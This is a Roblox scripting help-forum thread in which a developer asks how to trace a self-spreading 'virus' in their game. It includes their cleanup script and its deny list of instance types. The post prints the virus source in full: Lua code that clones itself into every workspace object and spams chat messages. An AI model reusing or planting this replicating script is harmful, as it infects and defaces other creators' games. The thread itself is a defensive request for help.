Scripting Helpers is winding down operations and is now read-only. More info→
Ad
Log in to vote
0

How do I locate the source of a game virus?

Asked by
Scerzy 85
8 years ago

I'm trying to build a game and every time I go into studio, EVERY instance, whether it be part, seat, or script, has a child who's classname is RotateP. And every RotateP is named a random name (I'll get to that in a second). Every RotateP in every instance in my game also has a script named "ProperGråmmerNeededInPhilosiphalLocations;insertNoobHere".

To solve this, I run a recursion that is as follows:

Containers = {"Folder", "Model"}

DangerousInstances = {"Script", "RotateP", "LocalScript", "Fire", "Smoke"}

function CheckDangerousInstances(instance)
    for i, v in pairs(DangerousInstances) do
        if instance:IsA(v) then
            return true
        end
    end
    return false
end

function CheckContainers(instance)
    for i, v in pairs(Containers) do
        if instance:IsA(v) then
            return true
        end
    end
    return false
end

function Recursion(Model)
    for i, v in pairs(Model:GetChildren()) do
        if CheckContainers(v) then
            Recursion(v)
        elseif v:IsA("BasePart") then
            Recursion(v)
        elseif CheckDangerousInstances(v) then
            v:Destroy()
        end
    end
end

Recursion(workspace)

Basically it deletes all scripts, rotatep's, fires, and smokes. However, the virus is back once I save and exit and then reopen studio. I can't find the source of it in my game.

Extra info: The only free models I'm using are Scripth's Admin and the f3x tool, both of which are well known and don't contain a virus. Also, here is the virus script

names={"bombvatus","justineagle","spitfire591","chillydoom","god0i0trust","bakingsoda","gotohell123","robloxsniper5","micchukelz","å9001","IStårtHere"}
local NameCheck = false
script.Parent.Name = names[math.random(1, #names)]
script.Name = [[ProperGråmmerNeededInPhilosiphalLocations;insertNoobHere]]
local c = script.Parent:Clone()

function addEvent(ch)
    wait(math.random())
    NameCheck = false
    for ss = 1, #names do
        if ch:IsA("RotateP") or ch:findFirstChild(names[ss]) ~= nil then
            NameCheck = true
        end
    end
    if NameCheck == false then
        local cloak = c:Clone()
        cloak.Name = ""
        cloak:GetChildren()[1].Name = ""
        cloak.Parent = ch
        cloak.Name = names[math.random(1, 5)]
    end
end

workspace.ChildAdded:connect(addEvent)

game.Players.PlayerAdded:connect(function(pl)
    pl.Chatted:connect(function(m)
        if m:sub(1, 5) == "/sc t" then
            local m = Instance.new("Message")
            m.Parent = workspace
            m.Text = "THEY CALL ME CRAZY"
            wait(1)
            m.Text = "lOoOoOoOp"
            wait(0.25)
            m.Text = "LoOoOoOoP"
            wait(0.25)
            m.Text = "lOoOoOoOp"
            wait(0.25)
            m.Text = "LoOoOoOoP"
            wait(0.25)
            m.Text = "lOoOoOoOp"
            wait(0.25)
            m.Text = "LoOoOoOoP"
            wait(0.25)
            m.Text = "GOTTA GOTTA BE CRAZY"
            wait(1)
            m.Text = "lOoOoOoOp"
            wait(0.25)
            m.Text = "LoOoOoOoP"
            wait(0.25)
            m.Text = "lOoOoOoOp"
            wait(0.25)
            m.Text = "LoOoOoOoP"
            wait(0.25)
            m.Text = "lOoOoOoOp"
            wait(0.25)
            m.Text = "LoOoOoOoP"
            wait(0.25)
            m.Text = "GOTTA GET A LIFE (YOU)"
            wait(3)
            m:remove()
        end
        if m:sub(1, 5) == "HAAXX" then
            local m = Instance.new("Message")
            m.Parent = workspace
            m.Text = "HAAXX"    
            wait(3)
            m:remove()
        end
    end)
end)

while true do
    local s = workspace:GetChildren()
    for i = 1, #s do
        NameCheck = false
        for ss = 1, #names do
            if s[i]:IsA("RotateP") or s[i]:findFirstChild(names[ss]) ~= nil then
                NameCheck = true
            end
        end
        if NameCheck == false then
            local cloak = c:Clone()
            cloak.Name = ""
            cloak:GetChildren()[1].Name = ""
            cloak.Parent = s[i]
        end
        wait(0.1)
    end
    wait(1)
end

0
How do you run the recursion? If you "play" the place (ex F5), then changes your scripts make (like deleting the virus) won't be saved. Instead, copy the script and paste it into the Command Bar *without* starting/playing the place chess123mate 5873 — 8y
0
I paste it into the command bar and it successfully deletes the scripts, but when I play the game onto the gamepage the source of the virus clones the scripts once again. Scerzy 85 — 8y

Answer this question